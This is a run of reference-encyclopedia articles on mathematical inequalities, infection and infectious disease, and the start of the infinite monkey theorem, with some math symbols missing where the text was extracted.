          The notation a < b < c stands for "a < b and b < c", from which, by the transitivity property above, it also follows that a < c. Obviously, by the above laws, one can add/subtract the same number to all three terms, or multiply/divide all three terms by same nonzero number and reverse all inequalities according to sign. But care must be taken so that you really use the same number in all cases, eg. a < b + e < c is equivalent to a  e < b < c  e.


          This notation can be generalized to any number of terms: for instance, a1  a2  ...  an means that ai  ai+1 for i = 1, 2, ..., n1. By transitivity, this condition is equivalent to ai  aj for any 1  i  j  n.


          When solving inequalities using chained notation, it is possible and sometimes necessary to evaluate the terms independently. For instance to solve the inequality 4x < 2x + 1  3x + 2, you won't be able to isolate x in any one part of the inequality through addition or subtraction. Instead, you can solve 4x < 2x + 1 and 2x + 1  3x + 2 independently, yielding x < 1/2 and x  -1 respectively, which can be combined into the final solution -1  x < 1/2.


          Occasionally, chained notation is used with inequalities in different directions, in which case the meaning is the logical conjunction of the inequalities between adjacent terms. For instance, a < b > c  d means that a < b, b > c, and c  d. In addition to rare use in mathematics, this notation exists in a few programming languages such as Python.


          


          Representing inequalities on the real number line


          Every inequality (except those which involve imaginary numbers) can be represented on the real number line showing darkened regions on the line.


          



          


          Inequalities between means


          There are many inequalities between means. For example, for any positive numbers a1, a2, ..., an


          
            	[image: H \le G \le A \le Q], where

          


          
            	[image: H = \frac{n}{\frac{1}{a_1}+\frac{1}{a_2}+...+\frac{1}{a_n}}] ( harmonic mean),

          


          
            	[image: G = \sqrt[n]{a_1 \cdot a_2 \cdot ... \cdot a_n} ] ( geometric mean),

          


          
            	[image: A = \frac{a_1 + a_2 + ... + a_n}{n}] (arithmetic mean),

          


          
            	[image: Q = \sqrt{\frac{a_1^2 + a_2^2 + ... + a_n^2}{n}}] ( quadratic mean).

          


          


          Power inequalities


          Sometimes with notation "power inequality" understand inequalities which contain ab type expressions where a and b are real positive numbers or expressions of some variables. They can appear in exercises of mathematical olympiads and some calculations.


          


          Examples


          
            	If x > 0, then [image: x^x \ge \left( \tfrac{1}{e}\right)^ \tfrac{1}{e}]


            	If x > 0, then [image: x^{x^x} \ge x]


            	If x,y,z > 0, then (x + y)z + (x + z)y + (y + z)x > 2.


            	For any real distinct numbers a and b, [image: \tfrac{e^b-e^a}{b-a}>e^{\frac{a+b}{2}}]


            	If x,y > 0 and 0 < p < 1, then (x + y)p < xp + yp


            	If x, y and z are positive, then [image: x^x y^y z^z \ge (xyz)^ \frac{x+y+z}{3}]


            	If a and b are positive, then ab + ba > 1. This result was generalized by R. Ozols in 2002 who proved that if a1, a2, ..., an are any real positive numbers, then [image: a_1^{a_2}+a_2^{a_3}+...+a_n^{a_1}>1] (result is published in Latvian popular-scientific quarterly The Starry Sky, see references).

          


          


          Well-known inequalities


          See also list of inequalities.


          Mathematicians often use inequalities to bound quantities for which exact formulas cannot be computed easily. Some inequalities are used so often that they have names:


          
            
              	Azuma's inequality


              	Bernoulli's inequality


              	Boole's inequality


              	CauchySchwarz inequality


              	Chebyshev's inequality


              	Chernoff's inequality


              	Cramr-Rao inequality


              	Hoeffding's inequality


              	Hlder's inequality


              	Inequality of arithmetic and geometric means


              	Jensen's inequality


              	Kolgomorov's inequality


              	Markov's inequality


              	Minkowski inequality


              	Nesbitt's inequality


              	Pedoe's inequality


              	Triangle inequality

            

          


          


          Mnemonics for students


          Young students sometimes confuse the less-than and greater-than signs, which are mirror images of one another. A commonly taught mnemonic is that the sign represents the mouth of a hungry alligator that is trying to eat the larger number; thus, it opens towards 8 in both 3<8 and 8>3. Another method is noticing the larger quantity points to the smaller quantity and says, "ha-ha, I'm bigger than you."


          Also, on a horizontal number line, the greater than sign is the arrow that is at the larger end of the number line. Likewise, the less than symbol is the arrow at the smaller end of the number line (<---0--1--2--3--4--5--6--7--8--9--->).


          The symbols may also be interpreted directly from their form - the side with a large vertical separation indicates a large(r) quantity, and the side which is a point indicates a small(er) quantity. In this way the inequality symbols are similar to the musical crescendo and decrescendo. The symbols for equality, less-than-or-equal-to, and greater-than-or-equal-to can also be interpreted with this perspective.


          


          Complex numbers and inequalities


          By introducing a lexicographical order on the complex numbers, it is a totally ordered set. However, it is impossible to define  so that [image: \mathbb{C}],+,*, becomes an ordered field. If [image: \mathbb{C}],+,*, were an ordered field, it has to satisfy the following two properties:


          
            	if a  b then a + c  b + c


            	if 0  a and 0  b then 0  a b

          


          Because  is a total order, for any number a, a  0 or 0  a. In both cases 0  a2; this means that i2 > 0 and 12 > 0; so 1 > 0 and  1 > 0, contradiction.


          However  can be defined in order to satisfy the first property, i.e. if a  b then a + c  b + c. A definition which is sometimes used is the lexicographical order:


          
            	a  b if Re(a) < Re(b) or (Re(a) = Re(b) and Im(a)  Im(b))

          


          It can easily be proven that for this definition a  b then a + c  b + c


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Inequality"
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        Infection


        
          

          An infection is the detrimental colonization of a host organism by a foreign species. In an infection, the infecting organism seeks to utilize the host's resources to multiply (usually at the expense of the host). The infecting organism, or pathogen, interferes with the normal functioning of the host and can lead to chronic wounds, gangrene, loss of an infected limb, and even death. The host's response to infection is inflammation. Colloquially, a pathogen is usually considered a microscopic organism though the definition is broader, including feces, parasites, fungi, viruses, prions, and viroids. A symbiosis between parasite and host, whereby the relationship is beneficial for the former but detrimental to the latter, is characterised as parasitism. The branch of medicine that focuses on infections and pathogens is infectious disease.


          A secondary infection is an infection that occurs during or following treatment of another already existing primary infection.


          


          Colonization


          Wound colonization refers to nonreplicating microorganisms within the wound, while in infected wounds replicating organisms exist and tissue is injured. All multicellular organisms are colonized to some degree by extrinsic organisms, and the vast majority of these exist in either a mutualistic or commensal relationship with the host. An example of the former would be the anaerobic bacteria species which colonize the mammalian colon, and an example of the latter would be the various species of staphylococcus which exist on human skin. Neither of these colonizations would be considered infections. The difference between an infection and a colonization is often only a matter of circumstance. Organisms which are non-pathogenic can become pathogenic under the right conditions, and even the most virulent organism requires certain circumstances to cause a compromising infection. Some colonizing bacteria, such as Corynebacteria sp. and viridans streptococci, prevent the adhesion and colonization of pathogenic bacteria and thus have a symbiotic relationship with the host, preventing infection and speeding wound healing.


          The variables involved in the outcome of a host becoming inoculated by a pathogen and the ultimate outcome include:


          
            	the route of entry of the pathogen and the access to host regions that it gains


            	the intrinsic virulence of the particular organism


            	the quantity or load of the initial inoculant


            	the immune status of the host being colonized

          


          As an example, the staphylococcus species present on skin remain harmless on the skin, but, when present in a normally sterile space, such as in the capsule of a joint or the peritoneum, will multiply without resistance and create a huge burden on the host.


          


          Occult infection


          An occult infection is medical terminology for a "hidden" infection, that is, one which presents no symptoms. Dr. Fran Giampietro discovered this type, and coined the term "occult infection" in the late 1930s.


          


          Bacterial or viral


          Bacterial and viral infections can both cause similar symptoms such as malaise, fever, and chills. It can be difficult, even for a doctor to distinguish which is the cause of a specific infection. It's important to distinguish, because viral infections cannot be cured by antibiotics.


          
            
              Comparison of viral and bacterial infection
            

            
              	Characteristic

              	Viral

              	Bacterial
            


            
              	Typical symptoms

              	In general, viral infections are systemic. This means they involve many different parts of the body or more than one body system at the same time; i.e. a runny nose, sinus congestion, cough, body aches etc. They can be local at times as in viral conjunctivitis or "pink eye" and herpes. Only a few viral infections are painful, like herpes. The pain of viral infections is often described as itchy or burning.,

              	The classic symptoms of a bacterial infection are localized Redness, Heat, Swelling and Pain. In ancient Rome the terms were; Rubor, Calor, Turgor, and Dolor. One of the hallmarks of a bacterial infection is local pain, pain that is in a specific part of the body. For example, if a cut occurs and it is infected with bacteria, pain will occur at the site of the infection. Bacterial throat pain is often characterised by more pain on one side of the throat. An ear infection is more likely to be bacterial if the pain occurs in only one ear. An infection that produces pus is not always bacterial.
            


            
              	Cause

              	Pathogenic viruses

              	Pathogenic bacteria
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          An infectious disease is a clinically evident disease resulting from the presence of pathogenic microbial agents, including pathogenic viruses, pathogenic bacteria, fungi, protozoa, multicellular parasites, and aberrant proteins known as prions. These pathogens are able to cause disease in animals and/or plants.


          Infectious pathologies are usually qualified as contagious diseases (also called communicable diseases) due to their potentiality of transmission from one person or species to another. Transmission of an infectious disease may occur through one or more of diverse pathways including physical contact with infected individuals. These infecting agents may also be transmitted through liquids, food, body fluids, contaminated objects, airborne inhalation, or through vector-borne spread.


          The term infectivity describes the ability of an organism to enter, survive and multiply in the host, while the infectiousness of a disease indicates the comparative ease with which the disease is transmitted to other hosts. An infection however, is not synonymous with an infectious disease, as an infection may not cause important clinical symptoms or impair host function.


          


          Classification


          Among the almost infinite varieties of microorganisms, relatively few cause disease in otherwise healthy individuals. Infectious disease results from the interplay between those few pathogens and the defenses of the hosts they infect. The appearance and severity of disease resulting from any pathogen depends upon the ability of that pathogen to damage the host as well as the ability of the host to resist the pathogen. Infectious microorganisms, or microbes, are therefore classified as either primary pathogens or as opportunistic pathogens according to the status of host defenses.


          Primary pathogens cause disease as a result of their presence or activity within the normal, healthy host, and their intrinsic virulence (the severity of the disease they cause) is, in part, a necessary consequence of their need to reproduce and spread. Many of the most common primary pathogens of humans only infect humans, however many serious diseases are caused by organisms acquired from the environment or which infect non-human hosts.


          Organisms which cause an infectious disease in a host with depressed resistance are classified as opportunistic pathogens. Opportunistic disease may be caused by microbes that are ordinarily in contact with the host, such as pathogenic bacteria or fungi in the gastrointestinal or the upper respiratory tract, and they may also result from (otherwise innocuous) microbes acquired from other hosts (as in Clostridium difficile colitis) or from the environment as a result of traumatic introduction (as in surgical wound infections or compound fractures). An opportunistic disease requires impairment of host defenses, which may occur as a result of genetic defects (such as Chronic granulomatous disease), exposure to antimicrobial drugs or immunosuppressive chemicals (as might occur following poisoning or cancer chemotherapy), exposure to ionizing radiation, or as a result of an infectious disease with immunosuppressive activity (such as with measles, malaria or HIV disease). Primary pathogens may also cause more severe disease in a host with depressed resistance than would normally occur in an immunosufficient host.


          One way of proving that a given disease is "infectious", is to satisfy Koch's postulates (first proposed by Robert Koch), which demands that the infectious agent be identified only in patients and not in healthy controls, and that patients who contract the agent also develop the disease. These postulates were first used in the discovery that Mycobacteria species cause tuberculosis. Koch's postulates cannot be met ethically for many human diseases because they require experimental infection of a healthy individual with a pathogen produced as a pure culture. Often, even diseases that are quite clearly infectious do not meet the infectious criteria. For example, Treponema pallidum, the causative spirochete of syphilis, cannot be cultured in vitro - however the organism can be cultured in rabbit testes. It is less clear that a pure culture comes from an animal source serving as host than it is when derived from microbes derived from plate culture. Epidemiology is another important tool used to study disease in a population. For infectious diseases it helps to determine if a disease outbreak is sporadic (occasional occurrence), endemic (regular cases often occurring in a region), epidemic (an unusually high number of cases in a region), or pandemic (a global epidemic).


          


          Transmission


          An infectious disease is transmitted from some source. Defining the means of transmission plays an important part in understanding the biology of an infectious agent, and in addressing the disease it causes. Transmission may occur through several different mechanisms. Respiratory diseases and meningitis are commonly acquired by contact with aerosolized droplets, spread by sneezing, coughing, talking, kissing or even singing. Gastrointestinal diseases are often acquired by ingesting contaminated food and water. Sexually transmitted diseases are acquired through contact with bodily fluids, generally as a result of sexual activity. Some infectious agents may be spread as a result of contact with a contaminated, inanimate object (known as a fomite), such as a coin passed from one person to another, while other diseases penetrate the skin directly.


          Transmission of infectious diseases may also involve a " vector". Vectors may be mechanical or biological. A mechanical vector picks up an infectious agent on the outside of its body and transmits it in a passive manner. An example of a mechanical vector is a housefly, which lands on cow dung, contaminating its appendages with bacteria from the feces, and then lands on food prior to consumption. The pathogen never enters the body of the fly.


          
            [image: Culex mosquitos (Culex quinquefasciatus shown) are biological vectors that transmit West Nile Virus.]
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          In contrast, biological vectors harbour pathogens within their bodies and deliver pathogens to new hosts in an active manner, usually a bite. Biological vectors are often responsible for serious blood-borne diseases, such as malaria, viral encephalitis, Chagas disease, Lyme disease and African sleeping sickness. Biological vectors are usually, though not exclusively, arthropods, such as mosquitoes, ticks, fleas and lice. Vectors are often required in the life cycle of a pathogen. A common strategy, used to control vector borne infectious diseases, is to interrupt the life cycle of a pathogen, by killing the vector.


          The relationship between virulence and transmission is complex, and has important consequences for the long term evolution of a pathogen. Since it takes many generations for a microbe and a new host species to co-evolve, an emerging pathogen may hit its earliest victims especially hard. It is usually in the first wave of a new disease that death rates are highest. If a disease is rapidly fatal, the host may die before the microbe can get passed along to another host. However, this cost may be overwhelmed by the short term benefit of higher infectiousness if transmission is linked to virulence, as it is for instance in the case of cholera (the explosive diarrhea aids the bacterium in finding new hosts) or many respiratory infections (sneezing and coughing create infectious aerosols).


          


          Preventing transmission


          


          One of the ways to prevent or slow down the transmission of infectious diseases is to recognize the different characteristics of various diseases. Some critical disease characteristics that should be evaluated include virulence, distance traveled by victims, and level of contagiousness. The human strains of Ebola virus, for example, incapacitate its victims extremely quickly and kills them soon after. As a result, the victims of this disease do not have the opportunity to travel very far from the initial infection zone. Also, this virus must spread through skin lesions or permeable membranes such as the eye. Thus, the initial stage of Ebola is not very contagious since its victims experience only internal hemorrhaging. As a result of the above features, the spread of Ebola is very rapid and usually stays within a relatively confined geographical area. In contrast, Human Immunodeficiency Virus (HIV) kills its victims very slowly by attacking their immune system. As a result, a lot of its victims transmit the virus to many others before even realizing that they are carrying the disease. Also, the relatively low virulence allows its victims to travel long distances, increasing the likelihood of an epidemic.


          Another effective way to decrease the transmission rate of infectious diseases is to recognize the effects of small-world networks. In epidemics, there are often extensive interactions within hubs or groups of infected individuals and other interactions within discrete hubs of susceptible individuals. Despite the low interaction between discrete hubs, the disease can jump to and spread in a susceptible hub via a single or few interactions with an infected hub. Thus, infection rates in small-world networks can be reduced somewhat if interactions between individuals within infected hubs are eliminated (Figure 1). However, infection rates can be drastically reduced if the main focus is on the prevention of transmission jumps between hubs. The use of needle exchange programs in areas with a high density of drug users with HIV is an example of the successful implementation of this treatment method. Another example is the use of ring culling or vaccination of potentially susceptible livestock in adjacent farms to prevent the spread of the foot-and-mouth virus in 2001.


          General methods to prevent transmission of pathogens may include disinfection and pest control.


          


          Diagnosis and therapy


          Diagnosis of infectious disease sometimes involves identifying an infectious agent either directly or indirectly. In practice most minor infectious diseases such as warts, cutaneous abscesses, respiratory system infections and diarrheal diseases are diagnosed by their clinical presentation. Conclusions about the cause of the disease are based upon the likelihood that a patient came in contact with a particular agent, the presence of a microbe in a community, and other epidemiological considerations. Given sufficient effort, all known infectious agents can be specifically identified. The benefits of identification, however, are often greatly outweighed by the cost, as often there is no specific treatment, the cause is obvious, or the outcome of an infection is benign.


          Specific identification of an infectious agent is usually only determined when such identification can aid in the treatment or prevention of the disease, or to advance knowledge of the course of an illness prior to the development of effective therapeutic or preventative measures. For example, in the early 1980s, prior to the appearance of AZT for the treatment of AIDS, the course of the disease was closely followed by monitoring the composition of patient blood samples, even though the outcome would not offer the patient any further treatment options. In part, these studies on the appearance of HIV in specific communities permitted the advancement of hypotheses as to the route of transmission of the virus. By understanding how the disease was transmitted, resources could be targeted to the communities at greatest risk in campaigns aimed at reducing the number of new infections. The specific serological diagnostic identification, and later genotypic or molecular identification, of HIV also enabled the development of hypotheses as to the temporal and geographical origins of the virus, as well as a myriad of other hypothesis. The development of molecular diagnostic tools have enabled physicians and researchers to monitor the efficacy of treatment with anti-retroviral drugs. Molecular diagnostics are now commonly used to identify HIV in healthy people long before the onset of illness and have been used to demonstrate the existence of people who are genetically resistant to HIV infection. Thus, while there still is no cure for AIDS, there is great therapeutic and predictive benefit to identifying the virus and monitoring the virus levels within the blood of infected individuals, both for the patient and for the community at large.


          


          Methods of diagnosis


          Diagnosis of infectious disease is nearly always initiated by medical history and physical examination. More detailed identification techniques involve the culture of infectious agents isolated from a patient. Culture allows identification of infectious organisms by examining their microscopic features, by detecting the presence of substances produced by pathogens, and by directly identifying an organism by its genotype. Other techniques (such as X-rays, CAT scans, PET scans or NMR) are used to produce images of internal abnormalities resulting from the growth of an infectious agent. The images are useful in detection of, for example, a bone abscess or a spongiform encephalopathy produced by a prion.


          


          Microbial culture
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          Microbiological culture is a principal tool used to diagnose infectious disease. In a microbial culture, a growth medium is provided for a specific agent. A sample taken from potentially diseased tissue or fluid is then tested for the presence of an infectious agent able to grow within that medium. Most pathogenic bacteria are easily grown on nutrient agar, a form of solid medium that supplies carbohydrates and proteins necessary for growth of a bacterium, along with copious amounts of water. A single bacterium will grow into a visible mound on the surface of the plate called a colony, which may be separated from other colonies or melded together into a "lawn". The size, color, shape and form of a colony is characteristic of the bacterial species, its specific genetic makeup (its strain), and the environment which supports its growth. Other ingredients are often added to the plate to aid in identification. Plates may contain substances that permit the growth of some bacteria and not others, or that change colour in response to certain bacteria and not others. Bacteriological plates such as these are commonly used in the clinical identification of infectious bacteria. Microbial culture may also be used in the identification of viruses: the medium in this case being cells grown in culture that the virus can infect, and then alter or kill. In the case of viral identification, a region of dead cells results from viral growth, and is called a "plaque". Eukaryotic parasites may also be grown in culture as a means of identifying a particular agent.


          In the absence of suitable plate culture techniques, some microbes require culture within live animals. Bacteria such as Mycobacterium leprae and T. pallidum can be grown in animals, although serological and microscopic techniques make the use of live animals unnecessary. Viruses are also usually identified using alternatives to growth in culture or animals. Some viruses may be grown in embryonated eggs. Another useful identification method is Xenodiagnosis, or the use of a vector to support the growth of an infectious agent. Chaga's disease is the most significant example, because it is difficult to directly demonstrate the presence of the causative agent, Trypanosoma cruzi in a patient, which therefore makes it difficult to definitively make a diagnosis. In this case, xenodiagnosis involves the use of the vector of the Chaga's agent T. cruzi, an uninfected triatomine bug (subfamily Triatominae), which takes a blood meal from a person suspected of having been infected. The bug is later inspected for growth of T. cruzi within its gut.


          


          Microscopy


          Another principle tool in the diagnosis of infectious disease is microscopy. Virtually all of the culture techniques discussed above rely, at some point, on microscopic examination for definitive identification of the infectious agent. Microscopy may be carried out with simple instruments, such as the compound light microscope, or with instruments as complex as an electron microscope. Samples obtained from patients may be viewed directly under the light microscope, and can often rapidly lead to identification. Microscopy is often also used in conjunction with biochemical staining techniques, and can be made exquisitely specific when used in combination with antibody based techniques. For example, the use of antibodies made artificially fluorescent (fluorescently labeled antibodies) can be directed to bind to and identify a specific antigens present on a pathogen. A fluorescence microscope is then used to detect fluorescently labeled antibodies bound to internalized antigens within clinical samples or cultured cells. This technique is especially useful in the diagnosis of viral diseases, where the light microscope is incapable of identifying a virus directly.


          Other microscopic procedures may also aid in identifying infectious agents. Almost all cells readily stain with a number of basic dyes due to the electrostatic attraction between negatively charged cellular molecules and the positive charge on the dye. A cell is normally transparent under a microscope, and using a stain increases the contrast of a cell with its background. Staining a cell with a dye such as Giemsa stain or crystal violet allows a microscopist to describe its size, shape, internal and external components and its associations with other cells. The response of bacteria to different staining procedures is used in the taxonomic classification of microbes as well. Two methods, the Gram stain and the acid-fast stain, are the standard approaches used to classify bacteria and to diagnosis of disease. The Gram stain identifies the bacterial groups Firmicutes and Actinobacteria, both of which contain many significant human pathogens. The acid-fast staining procedure identifies the Actinobacterial genera Mycobacterium and Nocardia.


          


          Biochemical tests


          Biochemical tests used in the identification of infectious agents include the detection of metabolic or enzymatic products characteristic of a particular infectious agent. Since bacteria ferment carbohydrates in patterns characteristic of their genus and species, the detection of fermentation products is commonly used in bacterial identification. Acids, alcohols and gases are usually detected in these tests when bacteria are grown in selective liquid or solid media.


          The isolation of enzymes from infected tissue can also provide the basis of a biochemical diagnosis of an infectious disease. For example, humans can make neither RNA replicases nor reverse transcriptase, and the presence of these enzymes are characteristic of specific types of viral infections. The ability of the viral protein hemagglutinin to bind red blood cells together into a detectable matrix may also be characterized as a biochemical test for viral infection, although strictly speaking hemagglutinin is not an enzyme and has no metabolic function.


          Serological methods are highly sensitive, specific and often extremely rapid tests used to identify microorganisms. These tests are based upon the ability of an antibody to bind specifically to an antigen. The antigen, usually a protein or carbohydrate made by an infectious agent, is bound by the antibody. This binding then sets off a chain of events that can be visibly obvious in various ways, dependent upon the test. For example, " Strep throat" is often diagnosed within minutes, and is based on the appearance of antigens made by the causative agent, S. pyogenes, that is retrieved from a patients throat with a cotton swab. Serological tests, if available, are usually the preferred route of identification, however the tests are costly to develop and the reagents used in the test often require refrigeration. Some serological methods are extremely costly, although when commonly used, such as with the "strep test", they can be inexpensive.


          


          Molecular diagnostics


          Technologies based upon the polymerase chain reaction (PCR) method will become nearly ubiquitous gold standards of diagnostics of the near future, for several reasons. First, the catalog of infectious agents has grown to the point that virtually all of the significant infectious agents of the human population have been identified. Second, an infectious agent must grow within the human body to cause disease; essentially it must amplify its own nucleic acids in order to cause a disease. This amplification of nucleic acid in infected tissue offers an opportunity to detect the infectious agent by using PCR. Third, the essential tools for directing PCR, primers, are derived from the genomes of infectious agents, and with time those genomes will be known, if they are not already.


          Thus, the technological ability to detect any infectious agent rapidly and specifically are currently available. The only remaining blockades to the use of PCR as a standard tool of diagnosis are in its cost and application, neither of which is insurmountable. The diagnosis of a few diseases will not benefit from the development of PCR methods, such as some of the clostridial diseases (tetanus and botulism). These diseases are fundamentally biological poisonings by relatively small numbers of infectious bacteria that produce extremely potent neurotoxins. A significant proliferation of the infectious agent does not occur, this limits the ability of PCR to detect the presence of any bacteria.


          


          Clearance and immunity
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          Infection with most pathogens does not result in death of the host and the offending organism is ultimately cleared after the symptoms of the disease have waned. This process requires immune mechanisms to kill or inactivate the inoculum of the pathogen. Specific acquired immunity against infectious diseases may be mediated by antibodies and/or T lymphocytes. Immunity mediated by these two factors may be manifested by:


          
            	a direct effect upon a pathogen, such as antibody-initiated complement-dependent bacteriolysis, opsonoization, phagocytosis and killing, as occurs for some bacteria,


            	neutralization of viruses so that these organisms cannot enter cells,


            	or by T lymphocytes which will kill a cell parasitized by a microorganism.

          


          The immune response to a microorganism often causes symptoms such as a high fever and inflammation, and has the potential to be more devastating than direct damage caused by a microbe.


          Resistance to infection ( immunity) may be acquired following a disease, by asymptomatic carriage of the pathogen, by harboring an organism with a similar structure (crossreacting), or by vaccination. Knowledge of the protective antigens and specific acquired host immune factors is more complete for primary pathogens than for opportunistic pathogens.


          Immune resistance to an infectious disease requires a critical level of either antigen-specific antibodies and/or T cells when the host encounters the pathogen. Some individuals develop natural serum antibodies to the surface polysaccharides of some agents although they have had little or no contact with the agent, these natural antibodies confer specific protection to adults and are passively transmitted to newborns.


          


          Mortality from infectious diseases


          The World Health Organization collects information on global deaths by International Classification of Disease (ICD) code categories. The following table lists the top infectious disease killers which caused more than 100,000 deaths in 2002 (estimated). 1993 data is included for comparison.


          
            
              Worldwide mortality due to infectious diseases
            

            
              	Rank

              	Cause of death

              	Deaths 2002

              	Percentage of

              all deaths

              	Deaths 1993

              	1993 Rank
            


            
              	N/A

              	All infectious diseases

              	14.7 million

              	25.9%

              	16.4 million

              	32.2%
            


            
              	1

              	Lower respiratory infections

              	3.9 million

              	6.9%

              	4.1 million

              	1
            


            
              	2

              	HIV/AIDS

              	2.8 million

              	4.9%

              	0.7 million

              	7
            


            
              	3

              	Diarrheal diseases

              	1.8 million

              	3.2%

              	3.0 million

              	2
            


            
              	4

              	Tuberculosis (TB)

              	1.6 million

              	2.7%

              	2.7 million

              	3
            


            
              	5

              	Malaria

              	1.3 million

              	2.2%

              	2.0 million

              	4
            


            
              	6

              	Measles

              	0.6 million

              	1.1%

              	1.1 million

              	5
            


            
              	7

              	Pertussis

              	0.29 million

              	0.5%

              	0.36 million

              	7
            


            
              	8

              	Tetanus

              	0.21 million

              	0.4%

              	0.15 million

              	12
            


            
              	9

              	Meningitis

              	0.17 million

              	0.3%

              	0.25 million

              	8
            


            
              	10

              	Syphilis

              	0.16 million

              	0.3%

              	0.19 million

              	11
            


            
              	11

              	Hepatitis B

              	0.10 million

              	0.2%

              	0.93 million

              	6
            


            
              	12-17

              	Tropical diseases (6)

              	0.13 million

              	0.2%

              	0.53 million

              	9, 10, 16-18
            


            
              	Note: Other causes of death include maternal and perinatal conditions (5.2%), nutritional deficiencies (0.9%),

              noncommunicable conditions (58.8%), and injuries (9.1%).
            

          


          The top three single agent/disease killers are HIV/AIDS, TB and malaria. While the number of deaths due to nearly every disease have decreased, deaths due to HIV/AIDS have increased fourfold. Childhood diseases include pertussis, poliomyelitis, diphtheria, measles and tetanus. Children also make up a large percentage of lower respiratory and diarrheal deaths.


          


          Historic pandemics


          
            [image: A young Bangladeshi girl infected with smallpox (1973). Thanks to the development of the smallpox vaccine, the disease was officially eradicated in 1979.]
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          A pandemic (or global epidemic) is a disease that affects people over an extensive geographical area.


          
            	Plague of Justinian, from 541 to 750, killed between 50 and 60% of Europe's population.


            	The Black Death of 1347 to 1352 killed 25 million in Europe over 5 years (estimated to be between 25 and 50% of the populations of Europe, Asia, and Africa - the world population at the time was 500 million).


            	The introduction of smallpox, measles, and typhus to the areas of Central and South America by European explorers during the 15th and 16th centuries caused pandemics among the native inhabitants. Between 1518 and 1568 disease pandemics are said to have caused the population of Mexico to fall from 20 million to 3 million.


            	The first European influenza epidemic occurred between 1556 and 1560, with an estimated mortality rate of 20%.


            	Smallpox killed an estimated 60 million Europeans in the 18th century alone. Up to 30% of those infected, including 80% of the children under 5 years of age, died from the disease, and one third of the survivors went blind.


            	The Influenza Pandemic of 1918 (or the Spanish Flu) killed 25-50 million people (about 2% of world population of 1.7 billion). Today Influenza kills about 250,000 to 500,000 worldwide each year.

          


          


          Emerging diseases and pandemics


          In most cases, microorganisms live in harmony with their hosts. Such is the case for many tropical viruses and the insects, monkeys, or other animals in which they have lived and reproduced. Because the microbes and their hosts have co-evolved, the hosts gradually become resistant to the microorganisms. When a microbe jumps from a long-time animal host to a human being, it may cease to be a harmless parasite and become pathogenic.


          With most new infectious diseases, some human action is involved, changing the environment so that an existing microbe can take up residence in a new niche. When that happens, a pathogen that had been confined to a remote habitat appears in a new or wider region, or a microbe that had infected only animals suddenly begins to cause human disease.


          Several human activities have led to the emergence and spread of new diseases, see also Globalization and Disease:


          
            	Encroachment on wildlife habitats. The construction of new villages and housing developments in rural areas brings people into contact with animals--and the microbes they harbour.


            	Changes in agriculture. The introduction of new crops attracts new crop pests and the microbes they carry to farming communities, exposing people to unfamiliar diseases.


            	The destruction of rain forests. As countries make use of their rain forests, by building roads through forests and clearing areas for settlement or commercial ventures, people encounter insects and other animals harboring previously unknown microorganisms.


            	Uncontrolled urbanization. The rapid growth of cities in many developing countries tends to concentrate large numbers of people into crowded areas with poor sanitation. These conditions foster transmission of contagious diseases.


            	Modern transport. Ships and other cargo carriers often harbour unintended "passengers", that can spread diseases to faraway destinations. While with international jet-airplane travel, people infected with a disease can carry it to distant lands, or home to their families, before their first symptoms appear.


            	Climate change. Global warming is expected to increase the potential geographic range and virulence of tropical diseases. Climate change could cause a major increase in insect-borne diseases such as malaria throughout Europe, North America and North Asia.

          


          


          The study of infectious disease


          


          History


          
            [image: German postage stamps depicting four antique microscopes. Advancements in microscopy were essential to the early study of infectious diseases.]
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          Abū Alī ibn Sīnā (Avicenna) discovered the contagious nature of infectious diseases in the early 11th century. He introduced quarantine as a means of limiting the spread of contagious and infectious diseases in The Canon of Medicine, circa 1020. He also stated that bodily secretion is contaminated by foul foreign earthly bodies before being infected, but he did not view them as primary causes of disease.


          When the Black Death bubonic plague reached al-Andalus in the 14th century, Ibn Khatima and Ibn al-Khatib hypothesized that infectious diseases are caused by "contagious entities" which enter the human body. Such ideas became more popular in Europe during the renaissance, particularly through the writing of the Italian monk Girolamo Fracastoro.


          Anton van Leeuwenhoek (1632-1723) advanced the science of microscopy by being the first to observe microorganisms, allowing for easy visualization of bacteria.


          Louis Pasteur proved beyond doubt that certain diseases are caused by infectious agents, and developed a vaccine for rabies.


          Robert Koch, provided the study of infectious diseases with a scientific basis known as Koch's postulates.


          Edward Jenner, Jonas Salk and Albert Sabin developed effective vaccines for smallpox and polio, which would later result in the eradication and near-eradication of these diseases, respectively.


          Alexander Fleming discovered the world's first antibiotic Penicillin.


          Gerhard Domagk develops Sulphonamides, the first broad spectrum synthetic antibacterial drugs.


          


          Medical specialists


          The medical treatment of infectious diseases falls into the medical field of Infectiology and in some cases the study of propagation pertains to the field of Epidemiology. Generally, infections are initially diagnosed by primary care physicians or internal medicine specialists. For example, an "uncomplicated" pneumonia will generally be treated by the internist or the pulmonologist (lung physician).The work of the infectiologist therefore entails working with both patients and general practitioners, as well as laboratory scientists, immunologists, bacteriologists and other specialists..


          An infectious disease team may be alerted when:


          
            	The disease has not been definitively diagnosed after an initial workup


            	The patient is immunocompromised (for example, in AIDS or after chemotherapy);


            	The infectious agent is of an uncommon nature (e.g. tropical diseases);


            	The disease has not responded to first line antibiotics;


            	The disease might be dangerous to other patients, and the patient might have to be isolated

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Infectious_disease"
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              Given enough time, a hypothetical chimpanzee typing at random would, as part of its output, almost surely produce one of Shakespeare's plays (or any other text).
            

          


          The infinite monkey theorem states that a monkey hitting keys at random on a typewriter keyboard for an infinite amount of time will almost surely type a particular chosen text, such as the complete works of William Shakespeare. In this context, " almost surely" is a mathematical term with a precise meaning, and the "monkey" is not an actual monkey; rather, it is a metaphor for an abstract device that produces a random sequence of letters ad infinitum. The theorem illustrates the perils of reasoning about infinity by imagining a vast but finite number, and vice versa. The probability of a monkey typing a given string of text as long as, say, Hamlet, is so tiny that, were the experiment conducted, the chance of it actually occurring during a span of time of the order of the age of the universe is minuscule but not zero.


          Variants of the theorem include multiple and even infinitely many typists, and the target text varies between an entire library and a single sentence. The history of these statements can be traced back to Aristotle's Metaphysics and Cicero's De natura deorum, through Blaise Pascal and Jonathan Swift, and finally to modern statements with their iconic typewriters. In the early 20th century, mile Borel and Arthur Eddington used the theorem to illustrate the timescales implicit in the foundations of statistical mechanics. Various Christian apologists on the one hand, and Richard Dawkins on the other, have argued about the appropriateness of the monkeys as a metaphor for evolution.


          Today, popular interest in the typing monkeys is sustained by numerous appearances in literature, television and radio, music, and the Internet. In 2003, a humorous experiment was performed with six Celebes Crested Macaques, but their literary contribution was five pages consisting largely of the letter S.


          


          Solution


          


          Direct proof


